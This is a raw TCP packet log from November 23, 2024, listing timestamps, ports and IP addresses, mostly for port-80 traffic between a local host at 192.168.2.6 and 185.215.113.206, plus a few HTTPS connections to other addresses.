Nov 23, 2024 02:55:39.873039007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.873087883 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.873148918 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.873536110 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.873579025 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.873853922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.873935938 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.874092102 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.874098063 CET	49884	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:39.874110937 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.874114990 CET	443	49884	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:39.874134064 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.874718904 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.874849081 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.874950886 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.875518084 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.875633955 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.875720978 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.876339912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.876405954 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.876431942 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.877132893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.877218008 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.877975941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.877989054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.878000021 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.878079891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.878079891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.878813028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.879365921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.879466057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.879647017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.880486965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.880497932 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.880510092 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.880569935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.880569935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.881303072 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.881315947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.881371021 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.882086039 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.882318974 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.882440090 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.882982969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.883775949 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.883786917 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.883862019 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.883865118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.884598017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.884691954 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.885386944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.885461092 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.885467052 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.885479927 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.885524988 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.886251926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.886560917 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.887098074 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.887110949 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.887164116 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.887244940 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.888067961 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.888204098 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.888748884 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.888761997 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.888772964 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.888818026 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.888860941 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.889585018 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.889693022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.889794111 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.890443087 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.890454054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.890542984 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.891233921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.891365051 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.891443014 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.892083883 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.892096043 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.892144918 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.892863035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.893738031 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.893749952 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.893763065 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.893800974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.893800974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.894534111 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.894577980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.894592047 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.894705057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.895344019 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.895452023 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.895677090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.896168947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.896251917 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.896862984 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.897085905 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.897154093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.897797108 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.897840977 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.897852898 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.897883892 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.897953033 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.898667097 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.899287939 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.899337053 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.899451017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.899759054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.899940968 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.900321007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.900382042 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.900473118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.901222944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.901235104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.901294947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.901962996 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.902163029 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.902220011 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.902770042 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.903127909 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.903197050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.903554916 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.903616905 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.050723076 CET	49885	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:40.050751925 CET	443	49885	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:40.050832033 CET	49885	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:40.051146030 CET	49885	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:40.051158905 CET	443	49885	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:40.052215099 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.052311897 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.052459955 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.052510023 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.052669048 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.052732944 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.052787066 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.052926064 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.052995920 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.053580046 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.053649902 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.053725958 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.053797960 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.054426908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.054625034 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.055249929 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.055262089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.055274010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.055320024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.055350065 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.056096077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.056235075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.056776047 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.056852102 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.056890011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.056904078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.056936979 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.056965113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.057718992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.057789087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.057830095 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.058029890 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.058543921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.058650970 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.059278965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.059385061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.059396029 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.059436083 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.059479952 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.060199022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.060250044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.061072111 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.061083078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.061094999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.061141968 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.061239004 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.061847925 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.061968088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.062323093 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.062423944 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.062859058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.063110113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.063293934 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.063509941 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.063543081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.063559055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.063615084 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.064383984 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.064394951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.064456940 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.065218925 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.065313101 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.065423965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.065540075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.066015959 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.066073895 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.066385031 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.066457987 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.066821098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.066900969 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.067080021 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.067142963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.067730904 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.067831039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.067858934 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.067909956 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.068492889 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.068552017 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.068891048 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.069022894 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.069351912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.069423914 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.069895983 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.069968939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.070152044 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.070164919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.070223093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.070956945 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.071033955 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.071250916 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.071727991 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.071851969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.072012901 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.072669029 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.072680950 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.072691917 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.072751045 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.072751045 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.073466063 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.073594093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.073622942 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.073685884 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.074270010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.074354887 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.075068951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.075115919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.075126886 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.075197935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.075197935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.075524092 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:40.075565100 CET	443	49886	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:40.075634956 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:40.075922966 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.076108932 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.076144934 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.076246977 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.076751947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.076787949 CET	49886	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:40.076802015 CET	443	49886	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:40.076883078 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.077586889 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.077606916 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.077616930 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.077656031 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.077656031 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.078414917 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.078675985 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.078890085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.078960896 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.079238892 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.079288960 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.079346895 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.079416990 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.080058098 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.080132961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.080552101 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.080605984 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.080895901 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.081082106 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.081756115 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.081767082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.081778049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.081809998 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.081855059 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.082537889 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.082587957 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.082880020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.082977057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.083364964 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.083461046 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.084230900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.084242105 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.084253073 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.084306002 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.084306002 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.085021973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.085123062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.085711002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.085766077 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.085870028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.085881948 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.085932970 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.085957050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.086704969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.086764097 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.087548018 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.087559938 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.087570906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.087620020 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.087657928 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.088335991 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.088422060 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.089076042 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.089350939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.089382887 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.089503050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.089968920 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.090027094 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.090039015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.090069056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.090069056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.090145111 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.090825081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.090895891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.091039896 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.091232061 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.091645002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.091706038 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.091721058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.091751099 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.092505932 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.092577934 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.093137026 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.093295097 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.093354940 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.093420982 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.093478918 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.094261885 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.094362020 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.094396114 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.094485998 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.094984055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.094995022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.095072031 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.095072031 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.204868078 CET	443	49877	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.205144882 CET	49877	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.205159903 CET	443	49877	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.205619097 CET	443	49877	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.207743883 CET	49877	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.207825899 CET	443	49877	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.244342089 CET	80	49814	185.215.113.206	192.168.2.6
